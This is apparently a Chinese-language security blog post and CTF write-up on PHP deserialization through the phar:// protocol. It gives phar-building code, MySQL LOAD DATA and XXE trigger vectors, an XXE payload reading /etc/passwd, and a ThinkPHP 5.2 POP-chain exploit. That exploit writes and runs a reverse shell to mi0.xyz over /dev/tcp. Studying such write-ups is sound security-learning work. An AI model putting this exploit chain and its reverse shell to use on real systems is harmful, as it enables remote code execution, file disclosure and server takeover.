利用phar协议造成php反序列化

Mi0发布

0x00前言

在php中反序列漏洞,形成的原因首先需要一个unserialize()函数来处理我们传入的可控的序列化payload。但是如果对unserialize()传入的内容进行限制,甚至就不存在可利用的unserialize()函数的时候,就可以借助phar协议触发反序列化操作了

0x01 构造有反序列化payload的phar文件

首先,phar是一种php语言的文件的后缀,所以生成phar文件要用到php语言,需要在php.ini中开启相应的配置

phar.readonly = Off

1573442717533

生成phar文件的代码如下

<?php
    //反序列化payload构造
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    //设置stub,GIF89a可以改成其他的字段,绕过文件头检验,但必须以 __HALT_COMPILER(); ?> 结尾
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 

    //将反序列化的对象放入该文件中
    $o = new TestObject();
    $o->data='just a test';
    $phar->setMetadata($o);

    //phar本质上是个压缩包,所以要添加压缩的文件和文件内容
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>

尝试一下,生成带有payload的文件

1573444790813

简单的说下phar文件格式

  1. phar文件头的识别格式是xxx + <?php __HALT_COMPILER(); ?>,只有这样的格式才能被识别为phar文件
  2. phar是压缩文件,那么压缩文件的信息就会存在第二段manifest describing,这一段是放序列化的poc
  3. 压缩的文件的内容被存在第三段,也就是上面payload的中的text.txt
  4. 数字签名为该phar的第四段

了解phar文件格式,主要注意的点有2个,文件头的合法性和压缩文件信息处可自定义我们的payload

0x02 可触发phar协议的函数

利用一个漏洞,最初要知道payload从哪里传入,是哪个函数造成的,而php函数中支持伪协议的有很多,下面这张表就是能解析phar协议的函数(用一下别人的图)

1573442353899

这些函数里面可以使用phar协议,当然还有常用的文件包含的几个函数 includeinclude_oncerequrierequire_once

做一个简单的测试

<?php
    class TestObject{
        function __destruct(){
            echo $this->data;
        }
    }

    include "phar://phar.phar/test.txt";
?>

1573444735268

同理,使用unlink()函数试试

<?php
    class TestObject{
        function __destruct(){
            echo $this->data;
        }
    }

    unlink("phar://phar.phar/test.txt");
?>

可以看到,还是执行了,但是有warningphp.ini中的配置为phar.readonly(我是在虚拟机中开启了phar.readonly =Off生成的payload ,我本地是没有开的)

1573444997558

再测试下要有写权限的file_put_contents()函数

<?php
    class TestObject{
        function __destruct(){
            echo $this->data;
        }
    }

    file_put_contents("phar://phar.phar/test.txt","test.txt");
?>

结果是执行不了

1573445182940

因此虽然某些函数能够支持phar://的协议,但是如果目标服务器没有关闭phar.readonly时,就不能正常执行反序列化操作

在禁止phar开头的情况下的替代方法

compress.zlib://phar://phar.phar/test.txt
compress.bzip2://phar://phar.phar/test.txt #可能是我本地环境问题,我本地试报错找不到该协议
php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt

虽然会报warning,但是还是会执行

0x03 Mysql触发反序列化

php调用mysql的语句LOAD DATA LOCAL INFILE导入phar文件也能触发phar中的反序列化语句

首先说下LOAD DATA LOCAL INFILE这条语言,这条语句是用来通过文件批量给表里面insert数据的操作,完整的语句如下

LOAD DATA LOCAL INFILE '1.txt' into table user;

1573457073760

那么试试效果

1573457117990

1573457127184

这就是这条命令的正常用法

那么如果这个文件是利用了phar协议处理了的phar文件,格式如下

LOAD DATA LOCAL INFILE 'phar://phar.phar/test.txt' into table user;

尝试一下,但是提示warning LOAD DATA LOCAL INFILE forbidden

这是因为还要修改mysql中的my.ini中的配置,因此可以看出这种利用前提不是默认的,需要人为定义,添加下面的信息

local-infile=1
secure_file_priv=""

1573457213480

除了在my.ini中配置以外,还有个坑,在php.ini中需要将mysqli.allow_local_infile前面的注释去掉

1573525282919

万事具备,写好代码

<?php
    class TestObject{
        function __destruct(){
            echo $this->data;
        }
    }

    //include "php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt";

    $m = mysqli_init();
    mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
    $s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'ctf', 3306);
    $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE user');

?>

尝试一下,能够触发

1573525189965

甚至如果存在php语言写的mysql客户端可以任意连接远程mysql服务器的情况下

这种时候可以利用Rogue-MySql-Server去读对方的任意文件

但是去读文件这个操作,如果使用phar协议,那么依然可以触发反序列化,当然前提是你能把phar文件传上去

1573525508987

0x04 通过XXE触发反序列化

本来在总结这道知识点的时候,学长发给我一道红帽CTF的题,刚好涉及到这方面的知识,运用的是XXE中使用phar协议来触发反序列化,并且系统使用thinkphp 5.2,有公开的命令执行的pop链,拿shell,之后拿flag的一道题。

直接看题

1573475733885

随便输入,登录成功,进去后有一个输入框,有一个文件上传点,提示只能上传xml

1573475826115

输入框,输入后发现是传输的xml实体,于是试着利用XXE

1573476243925

查看下/etc/passwd

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY c SYSTEM "file:///etc/passwd">
]>
<ticket><username>&c;</username><code>test2</code></ticket>

1573476993613

因为xxe能用file协议读,也可以用php://filter协议读,那么这个地方也可以使用phar://协议了

访问一个不存在的链接,发现使用的是thinkphp 5.2,这个版本是有反序列化命令执行的pop链的

1573477202877

首先上传上去,题目会根据你登录的用户名和密码分配一个sandbox,

1573478457990

这里用NU1L战队的2019举办的N1CTF的反序列化pop链,然后我改了改

我这里第一步往我自己的sandbox下写反弹shell的sh脚本

第二步,使用bash执行这个sh脚本

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("Smi1e" => "system");

        public function get($system)
        {
            $this->data = array("Smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

namespace {
    $Conver = new think\model\Pivot("echo 'bash -i >& /dev/tcp/mi0.xyz/2333 0>&1' > /tmp/uploads/d323c1de19517cb177f94ee3a4dfb0bb/20191111/test.sh");
    //$Conver = new think\model\Pivot("bash /tmp/uploads/d323c1de19517cb177f94ee3a4dfb0bb/20191111/test.sh");
    $payload = new think\process\pipes\Windows($Conver);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($payload); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    echo urlencode(serialize($payload));
}
?>

1573478558894

生成phar文件,改后缀为xml上传

1573478650431

因为phar协议,不管什么后缀,只要文件本身符合phar文件格式,就能正确执行,利用XXE触发phar://协议

1573478709335

第二步写执行test.sh文件,再次上传个exp,利用XXE去访问

1573478819153

服务器成功拿到shell

1573478930807

这里直接cat /flag被禁止了,直接运行./readfile不行

1573479072323

之后就是*CTF 2019的mywebsql 题目最后一步利用php脚本处理交互式的二进制文件交互

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据
   1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据
   2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);
$cwd = '/tmp';
$env = array('some_option' => 'aeiou');
$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
        $output1 = fread($pipes[1],1024);
        var_dump($output);
        $output2 = fread($pipes[1],1024);
        var_dump($output);
        $output3 = fread($pipes[1],1024);
        var_dump($output);  
    $calc = trim($output2);
    $an = eval("return $calc;");
    var_dump($an);
    fwrite($pipes[0], (string)$an."\n");
    $output = stream_get_contents($pipes[1]);
    var_dump($output);
    $return_value = proc_close($process);
    echo "command returned $return_value\n";
}
?>

当然题目已经有很多师傅上传上去的脚本了,直接执行即可

1573479336048

我不清楚是不是我服务器的问题?但我学长可以正常使用该脚本拿到flag (orz)

之后又尝试了下,挺玄学的?

0xff 参考链接

https://xz.aliyun.com/t/6699

https://paper.seebug.org/680/

https://xz.aliyun.com/t/2958

https://www.smi1e.top/n1ctf2019-sql_manage%E5%87%BA%E9%A2%98%E7%AC%94%E8%AE%B0/

分类: web安全

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注